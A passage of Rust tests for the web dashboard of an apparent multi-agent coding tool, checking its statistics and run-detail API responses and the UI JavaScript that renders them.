19521    }
19522
19523    #[test]
19524    fn a_question_card_links_a_task_id_to_the_task_page() {
19525        let start = APP_JS
19526            .find("function updateAskCard(")
19527            .expect("updateAskCard exists");
19528        let body = &APP_JS[start..];
19529        let body = &body[..body.find("\n}\n").expect("function end")];
19530        assert!(body.contains("question.run_is_task"));
19531        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
19532        assert!(body.contains("`#/runs/${question.run}`"));
19533        assert!(body.contains("\"task\" : \"run\""));
19534    }
19535
19536    #[test]
19537    fn plain_text_message_surfaces_go_through_linkify() {
19538        assert!(APP_JS.contains("function linkify("));
19539        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
19540        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
19541        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
19542        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
19543        assert!(!APP_JS.contains("innerHTML = text"));
19544    }
19545
19546    #[test]
19547    fn implementation_rate_views_keep_independent_samples() {
19548        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
19549            let a = stats::AgentStats {
19550                competitive_entered: competitive_n,
19551                competitive_wins: usize::from(competitive_n > 0),
19552                solo_entered: solo_n,
19553                solo_adopted: 2 * usize::from(solo_n > 0),
19554                ..Default::default()
19555            };
19556            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
19557            for (key, n, numerator) in [
19558                ("competitive_win_rate", competitive_n, a.competitive_wins),
19559                ("solo_adoption_rate", solo_n, a.solo_adopted),
19560            ] {
19561                if n == 0 {
19562                    assert!(v[key].is_null());
19563                } else {
19564                    assert_eq!(v[key]["denominator"], n);
19565                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
19566                }
19567            }
19568        }
19569        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
19570        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
19571        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
19572        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19573    }
19574
19575    #[test]
19576    fn stats_bars_share_one_id_keyed_plan() {
19577        let start = APP_JS
19578            .find("function statsBarRows(")
19579            .expect("statsBarRows exists");
19580        let body = &APP_JS[start..];
19581        let body = &body[..body.find("\n}\n").expect("function end")];
19582        assert!(body.contains("statsBarPlan(rows)"));
19583        assert!(body.contains("statsAgentTone(row.agent)"));
19584        assert!(!body.contains("candTone(i)"));
19585        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19586        for root in [
19587            "stats-agents-bars",
19588            "stats-solo-bars",
19589            "stats-reviewers-bars",
19590        ] {
19591            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
19592        }
19593    }
19594
19595    #[test]
19596    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
19597        let start = APP_JS
19598            .find("function renderStatsReviewerScatter(")
19599            .expect("renderStatsReviewerScatter exists");
19600        let body = &APP_JS[start..];
19601        let body = &body[..body.find("\n}\n").expect("function end")];
19602        assert!(body.contains("statsScatterPlan(reviewers)"));
19603        assert!(body.contains("statsAgentTone(d.agent)"));
19604        assert!(APP_JS.contains("function statsScatterPlan("));
19605        assert!(
19606            APP_JS.contains("d.submitted < STATS_LOW_N")
19607                || APP_JS.contains("r.submitted < STATS_LOW_N")
19608        );
19609        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
19610        assert!(APP_CSS.contains(".precision-scatter"));
19611    }
19612
19613    #[test]
19614    fn advisor_reflection_is_drawn_as_stacked_segments() {
19615        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
19616        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
19617        let html = include_str!("../assets/ui/index.html");
19618        assert!(html.contains("Approximate"));
19619        for label in ["reflected strongly", "faint", "no proposal"] {
19620            assert!(html.contains(label));
19621        }
19622        let css = include_str!("../assets/ui/app.css");
19623        for c in ["refl-strong", "refl-faint", "refl-absent"] {
19624            assert!(css.contains(&format!(".{c} {{")));
19625        }
19626    }
19627
19628    #[test]
19629    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
19630        assert!(APP_JS.contains("function statsDailyPlan("));
19631        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
19632        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
19633    }
19634
19635    #[test]
19636    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
19637        let start = APP_JS
19638            .find("function scheduleSearch(")
19639            .expect("scheduleSearch exists");
19640        let body = &APP_JS[start..];
19641        let body = &body[..body.find("\n}\n").expect("function end")];
19642        assert!(body.contains("s.seq += 1"));
19643    }
19644
19645    /// The dashboard reads every run's state itself rather than trusting a
19646    /// separately-maintained count, so an unreadable run must be counted the
19647    /// same way `/api/health` counts it - never silently dropped the way the
19648    /// CLI's own `stats::load_all` drops it.
19649    #[tokio::test]
19650    async fn stats_runs_unreadable_matches_health() {
19651        let f = Fixture::start().await;
19652        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19653        let broken = f.runs().join("20260902-140502-bad");
19654        std::fs::create_dir_all(&broken).expect("run dir");
19655        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19656
19657        let stats = f.get("/api/stats").await;
19658        let health = f.get("/api/health").await;
19659
19660        assert_eq!(stats.status, 200);
19661        assert_eq!(stats.json()["totals"]["runs"], 1);
19662        assert_eq!(stats.json()["runs_unreadable"], 1);
19663        assert_eq!(
19664            stats.json()["runs_unreadable"],
19665            health.json()["runs_unreadable"],
19666            "the dashboard and /api/health must never disagree about how many \
19667             runs could not be read"
19668        );
19669    }
19670
19671    #[tokio::test]
19672    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
19673        let f = Fixture::start().await;
19674        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19675        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
19676        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
19677
19678        let totals = &f.get("/api/stats").await.json()["totals"];
19679        assert_eq!(totals["runs"], 3);
19680        assert_eq!(totals["merged"], 1);
19681        assert_eq!(totals["stalled"], 1);
19682        assert_eq!(totals["in_progress"], 1);
19683        // A stalled run must never read as blocked/merged/ready - it is its
19684        // own bucket, not folded into a "decided" one.
19685        assert_eq!(totals["blocked"], 0);
19686        assert_eq!(totals["ready"], 0);
19687    }
19688
19689    #[tokio::test]
19690    async fn stats_advisors_report_proposals_and_reflection() {
19691        use crate::advise::{Advice, AdvisorRecord, Reflection};
19692        use crate::verdict::Proposal;
19693
19694        let f = Fixture::start().await;
19695        let mut state = RunState::new(
19696            PathBuf::from("/repo/magi"),
19697            "main".to_owned(),
19698            "0123456789abcdef".to_owned(),
19699            "task".to_owned(),
19700            Config::default(),
19701        );
19702        state.id = "20260902-140501-a".to_owned();
19703        state.status = RunStatus::Merged;
19704        state.advice = Some(Advice {
19705            records: vec![
19706                AdvisorRecord {
19707                    seat: "advisor-1".to_owned(),
19708                    agent: "alpha".to_owned(),
19709                    proposal: Some(Proposal {
19710                        approach: "do it".to_owned(),
19711                        key_tradeoff: "speed over memory".to_owned(),
19712                        risks: Vec::new(),
19713                        touches: Vec::new(),
19714                        why_not_naive: "breaks under load".to_owned(),
19715                    }),
19716                    error: None,
19717                    duration_ms: 0,
19718                    reflection: Reflection::Strong,
19719                },
19720                AdvisorRecord {
19721                    seat: "advisor-2".to_owned(),
19722                    agent: "alpha".to_owned(),
19723                    proposal: None,
19724                    error: Some("timed out".to_owned()),
19725                    duration_ms: 0,
19726                    reflection: Reflection::Absent,
19727                },
19728            ],
19729            synthesis: Some("blended brief".to_owned()),
19730        });
19731        let dir = f.runs().join(&state.id);
19732        std::fs::create_dir_all(&dir).expect("run dir");
19733        std::fs::write(
19734            dir.join("run.json"),
19735            serde_json::to_string_pretty(&state).expect("serialize run"),
19736        )
19737        .expect("write run.json");
19738
19739        // `alpha` is in no roster here; this test is about the rates.
19740        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
19741        let alpha = advisors
19742            .as_array()
19743            .expect("an array")
19744            .iter()
19745            .find(|a| a["agent"] == "alpha")
19746            .expect("alpha row");
19747        assert_eq!(alpha["seated"], 2);
19748        assert_eq!(alpha["proposed"], 1);
19749        assert_eq!(alpha["absent"], 1);
19750        assert_eq!(alpha["strong"], 1);
19751        assert_eq!(alpha["faint"], 0);
19752        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
19753    }
19754
19755    #[tokio::test]
19756    async fn stats_hides_agents_outside_the_roster_unless_all() {
19757        use crate::run::Candidate;
19758        let repo = TempDir::new().expect("repo dir");
19759        std::fs::write(
19760            repo.path().join("magi.toml"),
19761            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
19762        )
19763        .expect("magi.toml");
19764        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
19765        let mut state = RunState::new(
19766            PathBuf::from("/repo/magi"),
19767            "main".to_owned(),
19768            "0123456789abcdef".to_owned(),
19769            "task".to_owned(),
19770            Config::default(),
19771        );
19772        state.id = "20260902-140501-a".to_owned();
19773        state.status = RunStatus::Merged;
19774        for (label, agent) in [('A', "keep"), ('B', "retired")] {
19775            let mut c: Candidate = serde_json::from_value(serde_json::json!({
19776                "index": 0, "label": label.to_string(), "agent": agent,
19777                "branch": "b", "worktree": "/w",
19778            }))
19779            .expect("candidate");
19780            c.label = label;
19781            state.candidates.push(c);
19782        }
19783        let dir = f.runs().join(&state.id);
19784        std::fs::create_dir_all(&dir).expect("run dir");
19785        std::fs::write(
19786            dir.join("run.json"),
19787            serde_json::to_string_pretty(&state).expect("serialize run"),
19788        )
19789        .expect("write run.json");
19790
19791        let agents_of = |v: &serde_json::Value| -> Vec<String> {
19792            v["agents"]
19793                .as_array()
19794                .expect("array")
19795                .iter()
19796                .map(|a| a["agent"].as_str().unwrap().to_owned())
19797                .collect()
19798        };
19799        let hidden = f.get("/api/stats").await.json();
19800        assert_eq!(agents_of(&hidden), ["keep"]);
19801        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
19802        assert_eq!(hidden["totals"]["runs"], 1);
19803
19804        let all = f.get("/api/stats?all=true").await.json();
19805        assert_eq!(agents_of(&all).len(), 2);
19806        assert_eq!(all["retired_hidden"], serde_json::json!([]));
19807        // Verify competitive and solo keys exist on agent entries
19808        let keep_agent = all["agents"]
19809            .as_array()
19810            .unwrap()
19811            .iter()
19812            .find(|a| a["agent"] == "keep")
19813            .unwrap();
19814        assert_eq!(keep_agent["competitive_entered"], 1);
19815        assert_eq!(keep_agent["competitive_wins"], 0);
19816        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
19817        assert_eq!(keep_agent["solo_entered"], 0);
19818        assert_eq!(keep_agent["solo_adopted"], 0);
19819        assert!(keep_agent["solo_adoption_rate"].is_null());
19820    }
19821
19822    #[tokio::test]
19823    async fn stats_release_bumps_split_clean_from_attention() {
19824        use crate::run::ReleaseBump;
19825
19826        let f = Fixture::start().await;
19827
19828        let mut clean = RunState::new(
19829            PathBuf::from("/repo/magi"),
19830            "main".to_owned(),
19831            "0123456789abcdef".to_owned(),
19832            "task".to_owned(),
19833            Config::default(),
19834        );
19835        clean.id = "20260902-140501-a".to_owned();
19836        clean.status = RunStatus::Merged;
19837        clean.release_bump = Some(ReleaseBump {
19838            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
19839            version: Some("1.0.0".to_owned()),
19840            automerge_enabled: true,
19841            merged_directly: false,
19842            local: false,
19843            release: None,
19844            problem: None,
19845            action_required: None,
19846            skipped: None,
19847        });
19848
19849        let mut blocked = RunState::new(
19850            PathBuf::from("/repo/magi"),
19851            "main".to_owned(),
19852            "0123456789abcdef".to_owned(),
19853            "task".to_owned(),
19854            Config::default(),
19855        );
19856        blocked.id = "20260902-140502-b".to_owned();
19857        blocked.status = RunStatus::Merged;
19858        blocked.release_bump = Some(ReleaseBump {
19859            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
19860            version: Some("1.0.1".to_owned()),
19861            automerge_enabled: false,
19862            merged_directly: false,
19863            local: false,
19864            release: None,
19865            problem: Some("checks red".to_owned()),
19866            action_required: Some("look at the PR".to_owned()),
19867            skipped: None,
19868        });
19869
19870        for state in [&clean, &blocked] {
19871            let dir = f.runs().join(&state.id);
19872            std::fs::create_dir_all(&dir).expect("run dir");
19873            std::fs::write(
19874                dir.join("run.json"),
19875                serde_json::to_string_pretty(state).expect("serialize run"),
19876            )
19877            .expect("write run.json");
19878        }
19879
19880        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19881        assert_eq!(bumps["merged"], 2);
19882        assert_eq!(bumps["recorded"], 2);
19883        assert_eq!(bumps["pr_opened"], 2);
19884        assert_eq!(bumps["automerge_enabled"], 1);
19885        assert_eq!(bumps["needs_attention"], 1);
19886        assert_eq!(bumps["clean"], 1);
19887        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
19888        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
19889    }
19890
19891    #[tokio::test]
19892    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
19893        let f = Fixture::start().await;
19894        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19895
19896        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19897        assert_eq!(bumps["merged"], 1);
19898        assert_eq!(bumps["recorded"], 0);
19899        // `merged` is nonzero, so coverage still reads as a real 0%, not an
19900        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
19901        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
19902        // `pr_opened` and `recorded` are both zero here, so these rates have
19903        // no denominator to compute from and must be null.
19904        assert_eq!(bumps["automerge_rate"], Value::Null);
19905        assert_eq!(bumps["attention_rate"], Value::Null);
19906    }
19907
19908    #[tokio::test]
19909    async fn stats_queue_counts_come_from_the_live_queue() {
19910        let f = Fixture::start().await;
19911        let q = f.queue();
19912        let mut queued = Task::new(
19913            "queued task".to_owned(),
19914            "do it".to_owned(),
19915            PathBuf::from("/repo"),
19916            Source::Human,
19917        );
19918        q.put(&mut queued).expect("put queued");
19919        let mut held = Task::new(
19920            "held task".to_owned(),
19921            "do it later".to_owned(),
19922            PathBuf::from("/repo"),
19923            Source::Human,
19924        );
19925        held.hold_machine(Some("out of attempts".to_owned()));
19926        q.put(&mut held).expect("put held");
19927
19928        let queue = f.get("/api/stats").await.json()["queue"].clone();
19929        assert_eq!(queue["queued"], 1);
19930        assert_eq!(queue["held"], 1);
19931        assert_eq!(queue["running"], 0);
19932        assert_eq!(queue["done"], 0);
19933        assert_eq!(queue["failed"], 0);
19934        assert_eq!(queue["blocked"], 0);
19935    }
19936
19937    #[tokio::test]
19938    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19939        let f = Fixture::start().await;
19940        let stats = f.get("/api/stats").await;
19941        assert_eq!(stats.status, 200);
19942        assert_eq!(stats.json()["totals"]["runs"], 0);
19943        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19944        assert_eq!(stats.json()["runs_unreadable"], 0);
19945        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19946        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19947        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19948        assert_eq!(stats.json()["repo"], Value::Null);
19949    }
19950
19951    #[tokio::test]
19952    async fn stats_lists_every_repository_with_runs_recorded() {
19953        let f = Fixture::start().await;
19954        write_run_repo(
19955            &f.runs(),
19956            "20260902-140501-a",
19957            RunStatus::Merged,
19958            "/repos/a",
19959        );
19960        write_run_repo(
19961            &f.runs(),
19962            "20260902-140502-b",
19963            RunStatus::Merged,
19964            "/repos/a",
19965        );
19966        write_run_repo(
19967            &f.runs(),
19968            "20260902-140503-c",
19969            RunStatus::Blocked,
19970            "/repos/b",
19971        );
19972
19973        let stats = f.get("/api/stats").await;
19974        assert_eq!(stats.status, 200);
19975        // Unfiltered - the aggregate across both repositories.
19976        assert_eq!(stats.json()["totals"]["runs"], 3);
19977        assert_eq!(stats.json()["repo"], Value::Null);
19978
19979        let repos = stats.json()["repos"].clone();
19980        let repos = repos.as_array().unwrap();
19981        assert_eq!(repos.len(), 2);
19982        // Busiest (2 runs) first.
19983        assert_eq!(repos[0]["repo"], "/repos/a");
19984        assert_eq!(repos[0]["name"], "a");
19985        assert_eq!(repos[0]["runs"], 2);
19986        assert_eq!(repos[1]["repo"], "/repos/b");
19987        assert_eq!(repos[1]["runs"], 1);
19988    }
19989
19990    #[tokio::test]
19991    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19992        let f = Fixture::start().await;
19993        write_run_repo(
19994            &f.runs(),
19995            "20260902-140501-a",
19996            RunStatus::Merged,
19997            "/repos/a",
19998        );
19999        write_run_repo(
20000            &f.runs(),
20001            "20260902-140502-b",
20002            RunStatus::Blocked,
20003            "/repos/b",
20004        );
20005
20006        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
20007        assert_eq!(stats.status, 200);
20008        assert_eq!(stats.json()["totals"]["runs"], 1);
20009        assert_eq!(stats.json()["totals"]["merged"], 1);
20010        assert_eq!(stats.json()["repo"], "/repos/a");
20011        // The repository list itself is unaffected by the filter - it is
20012        // what a client switches repositories from.
20013        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
20014        // runs_unreadable is a whole-workload count, never scoped to the
20015        // selected repository - see StatsView::runs_unreadable's own doc.
20016        assert_eq!(stats.json()["runs_unreadable"], 0);
20017    }
20018
20019    #[tokio::test]
20020    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
20021        let f = Fixture::start().await;
20022        write_run_repo(
20023            &f.runs(),
20024            "20260902-140501-a",
20025            RunStatus::Merged,
20026            "/repos/a",
20027        );
20028        write_run_repo(
20029            &f.runs(),
20030            "20260902-140502-b",
20031            RunStatus::Merged,
20032            "/repos/b",
20033        );
20034
20035        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
20036            let json = f.get(uri).await.json();
20037            let daily = json["daily"].as_array().expect("daily is an array");
20038            assert_eq!(daily.len(), 30);
20039            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
20040            let mut sorted = dates.clone();
20041            sorted.sort();
20042            assert_eq!(dates, sorted);
20043            for d in daily {
20044                assert_eq!(
20045                    d["merged"].as_u64().unwrap()
20046                        + d["ready"].as_u64().unwrap()
20047                        + d["other"].as_u64().unwrap(),
20048                    d["runs"].as_u64().unwrap()
20049                );
20050            }
20051            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
20052        }
20053    }
20054
20055    #[tokio::test]
20056    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
20057        let f = Fixture::start().await;
20058        write_run_repo(
20059            &f.runs(),
20060            "20260902-140501-a",
20061            RunStatus::Merged,
20062            "/repos/a",
20063        );
20064
20065        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
20066        assert_eq!(stats.status, 404);
20067    }
20068
20069    #[tokio::test]
20070    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
20071        let f = Fixture::start().await;
20072        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
20073
20074        let summary = f.get("/api/runs").await.json();
20075        let row = &summary[0];
20076        assert_eq!(row["short"], "a1b2");
20077        assert_eq!(row["status"], "ready");
20078        assert_eq!(row["done"], true);
20079        assert_eq!(row["title"], "Add a web UI");
20080        assert_eq!(row["repo_name"], "magi");
20081        assert_eq!(row["judges"], 3);
20082        assert_eq!(row["winner"], Value::Null);
20083        assert_eq!(row["reviews"], 0);
20084
20085        // The short id resolves, and the detail route is the state itself, not
20086        // a projection of it: the UI reads fields the summary does not carry.
20087        let detail = f.get("/api/runs/a1b2").await;
20088        assert_eq!(detail.status, 200);
20089        assert_eq!(detail.json()["base_branch"], "main");
20090        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
20091    }
20092
20093    /// `status: "ready"` alone cannot tell a run still headed for a landing
20094    /// (a PR closed without merging, say) apart from one `[merge] mode =
20095    /// "none"` left unmerged for good — the confusion the operator flagged
20096    /// after the CLI report already grew a `not landed — nothing to do by
20097    /// design` line for exactly this case (`report.rs`). Both the list route
20098    /// and the detail route must carry a flag the phone can key on instead of
20099    /// re-deriving it from `status` + `merge.mode` itself.
20100    #[tokio::test]
20101    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20102        let f = Fixture::start().await;
20103
20104        let mut none_run = RunState::new(
20105            PathBuf::from("/repo/magi"),
20106            "main".to_owned(),
20107            "0123456789abcdef".to_owned(),
20108            "Add a web UI".to_owned(),
20109            Config::default(),
20110        );
20111        none_run.id = "20260902-140503-none".to_owned();
20112        none_run.status = RunStatus::Ready;
20113        none_run.merge = Some(crate::run::MergeOutcome {
20114            mode: crate::config::MergeMode::None,
20115            ok: true,
20116            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20117            empty: false,
20118        });
20119        write_state(&f.runs(), &none_run);
20120
20121        let mut pr_run = RunState::new(
20122            PathBuf::from("/repo/magi"),
20123            "main".to_owned(),
20124            "0123456789abcdef".to_owned(),
20125            "Add a web UI".to_owned(),
20126            Config::default(),
20127        );
20128        pr_run.id = "20260902-140504-prcl".to_owned();
20129        pr_run.status = RunStatus::Ready;
20130        pr_run.merge = Some(crate::run::MergeOutcome {
20131            mode: crate::config::MergeMode::Pr,
20132            ok: false,
20133            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20134            empty: false,
20135        });
20136        write_state(&f.runs(), &pr_run);
20137
20138        let summary = f.get("/api/runs").await.json();
20139        let rows: std::collections::HashMap<&str, &Value> = summary
20140            .as_array()
20141            .expect("an array")
20142            .iter()
20143            .map(|r| (r["id"].as_str().expect("an id"), r))
20144            .collect();
20145        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20146        assert_eq!(
20147            rows[none_run.id.as_str()]["unmerged_by_design"],
20148            true,
20149            "a mode-none Ready must be flagged in the list"
20150        );
20151        assert_eq!(
20152            rows[pr_run.id.as_str()]["unmerged_by_design"],
20153            false,
20154            "a Ready reached by a closed pull request is a different case"
20155        );
20156
20157        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20158        assert_eq!(none_detail["status"], "ready");
20159        assert_eq!(none_detail["unmerged_by_design"], true);
20160
20161        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20162        assert_eq!(pr_detail["unmerged_by_design"], false);
20163    }
20164
20165    /// `RunState::active` is only ever cleared by whoever populated it, so the
20166    /// detail route also has to say whether a daemon is actually still
20167    /// driving this run right now — otherwise a seat from a killed process's
20168    /// last wave would read as live forever.
20169    #[tokio::test]
20170    async fn run_core_survives_unavailable_related_stores() {
20171        let home = TempDir::new().unwrap();
20172        let ui = delta_test_ui(home.path());
20173        let state = RunState::new(
20174            PathBuf::from("/repo/magi"),
20175            "main".into(),
20176            "0123456789abcdef".into(),
20177            "Useful core instructions".into(),
20178            Config::default(),
20179        );
20180        let dir = ui.runs.join(&state.id);
20181        std::fs::create_dir_all(&dir).unwrap();
20182        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20183        std::fs::write(ui.questions.root(), "unavailable").unwrap();
20184        std::fs::write(ui.queue.root(), "unavailable").unwrap();
20185        let core = run_core(State(ui.clone()), Path(state.id.clone()))
20186            .await
20187            .unwrap()
20188            .0;
20189        assert_eq!(core.state.instruction, state.instruction);
20190        assert_eq!(core.state.updated_at, state.updated_at);
20191        assert!(core.task.is_none());
20192        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20193    }
20194
20195    #[tokio::test]
20196    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20197        let f = Fixture::start().await;
20198        // Matches `write_daemon`'s hard-coded `current.run`, so the second
20199        // half of this test can claim the daemon is working on it without a
20200        // second helper.
20201        let id = "20260902-140502-bbbb";
20202        let mut state = RunState::new(
20203            PathBuf::from("/repo/magi"),
20204            "main".to_owned(),
20205            "0123456789abcdef".to_owned(),
20206            "Add a web UI".to_owned(),
20207            Config::default(),
20208        );
20209        state.id = id.to_owned();
20210        state.status = RunStatus::Judging;
20211        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
20212        let dir = f.runs().join(id);
20213        std::fs::create_dir_all(&dir).expect("run dir");
20214        std::fs::write(
20215            dir.join("run.json"),
20216            serde_json::to_string_pretty(&state).expect("serialize run"),
20217        )
20218        .expect("write run.json");
20219
20220        // No daemon.json at all, and no `driver_pid` recorded either (this
20221        // state was written directly, never through `execute()`): there is
20222        // nothing to confirm either way, so the route must say `"unknown"` —
20223        // never `"dead"`, which is exactly the false diagnosis a manual `magi
20224        // run` used to get from this route before `driver_pid` existed.
20225        let cold = f.get(&format!("/api/runs/{id}")).await.json();
20226        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
20227        assert_eq!(cold["live"], "unknown", "{cold}");
20228
20229        // A fresh heartbeat naming exactly this run: the same entry now reads
20230        // as confirmed, not merely recorded.
20231        write_daemon(f.home.path(), Timestamp::now());
20232        let warm = f.get(&format!("/api/runs/{id}")).await.json();
20233        assert_eq!(warm["live"], "live", "{warm}");
20234    }
20235
20236    #[test]
20237    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
20238        let home = tempfile::tempdir().expect("temp home");
20239        let runs = home.path().join("runs");
20240        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
20241            let mut state = RunState::new(
20242                PathBuf::from("/repo/magi"),
20243                "main".to_owned(),
20244                "0123456789abcdef".to_owned(),
20245                "Generated review context, not authored task criteria".to_owned(),
20246                Config::default(),
20247            );
20248            state.origin = origin;
20249            state.status = RunStatus::Blocked;
20250            // Earlier migrations must not infer these facts again.
20251            state.driver_exited = false;
20252            state.gate_ran = true;
20253            let expected = serde_json::to_value(&state).expect("serialize current state");
20254            let mut legacy = expected.clone();
20255            legacy["schema"] = serde_json::json!(13);
20256            legacy.as_object_mut().unwrap().remove("task_instruction");
20257            let dir = runs.join(&state.id);
20258            std::fs::create_dir_all(&dir).expect("run dir");
20259            let path = dir.join("run.json");
20260            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
20261            std::fs::write(&path, &body).expect("write legacy run");
20262
20263            for loaded in [
20264                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
20265                read_run(&runs, &state.id).expect("web migration"),
20266            ] {
20267                assert_eq!(loaded.schema, crate::run::SCHEMA);
20268                assert!(loaded.task_instruction.is_none());
20269                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
20270            }
20271            assert_eq!(runs_unreadable(&runs), 0);
20272            assert_eq!(std::fs::read(&path).unwrap(), body);
20273        }
20274    }
20275
20276    /// Where a run came from is shown, and a run written before origins were
20277    /// recorded (schema 12, no `origin` key) stays readable and says so.
20278    #[tokio::test]
20279    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
20280        let f = Fixture::start().await;
20281        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
20282            let mut state = RunState::new(
20283                PathBuf::from("/repo/magi"),
20284                "main".to_owned(),
20285                "0123456789abcdef".to_owned(),
20286                "Add a web UI".to_owned(),
20287                Config::default(),
20288            );
20289            state.id = id.to_owned();
20290            state.origin = origin;
20291            let mut value = serde_json::to_value(&state).expect("serialize run");
20292            if let Some(schema) = schema {
20293                value["schema"] = serde_json::json!(schema);
20294                value.as_object_mut().unwrap().remove("origin");
20295            }
20296            let dir = f.runs().join(id);
20297            std::fs::create_dir_all(&dir).expect("run dir");
20298            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
20299        };
20300        write(
20301            "20260930-092817-ec34",
20302            Some(crate::run::Origin::from_agent_env(
20303                Some(("4a7b".to_owned(), "chat".to_owned())),
20304                None,
20305            )),
20306            None,
20307        );
20308        write("20260930-092817-0ld1", None, Some(12));
20309
20310        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
20311        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
20312        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
20313
20314        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
20315        assert_eq!(
20316            old["origin_label"], "origin unknown (started before origins were recorded)",
20317            "{old}"
20318        );
20319        assert!(old["origin"].is_null(), "{old}");
20320
20321        let list = f.get("/api/runs").await.json();
20322        let labels: Vec<_> = list
20323            .as_array()
20324            .unwrap()
20325            .iter()
20326            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
20327            .collect();
20328        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
20329    }
20330
20331    #[tokio::test]
20332    async fn run_progress_observation_exposes_activity_without_control_evidence() {
20333        let f = Fixture::start().await;
20334        let mut state = RunState::new(
20335            PathBuf::from("/repo"),
20336            "main".into(),
20337            "abc".into(),
20338            "task".into(),
20339            Config::default(),
20340        );
20341        state.status = RunStatus::Implementing;
20342        state.seat_started(
20343            "implement",
20344            "implement-A",
20345            std::time::Duration::from_secs(60),
20346            0,
20347        );
20348        state.save_under(f.home.path()).unwrap();
20349        let observed = f
20350            .get(&format!("/api/runs/{}/progress", state.id))
20351            .await
20352            .json();
20353        assert_eq!(observed["id"], state.id);
20354        assert!(observed["observed_at"].is_string());
20355        assert_eq!(observed["updated_at"], state.updated_at.to_string());
20356        assert!(observed["progress"]["activity"].is_string());
20357        for field in [
20358            "config",
20359            "candidates",
20360            "land_approval",
20361            "task",
20362            "waiting",
20363            "done",
20364        ] {
20365            assert!(
20366                observed.get(field).is_none(),
20367                "progress must not expose control evidence: {field}"
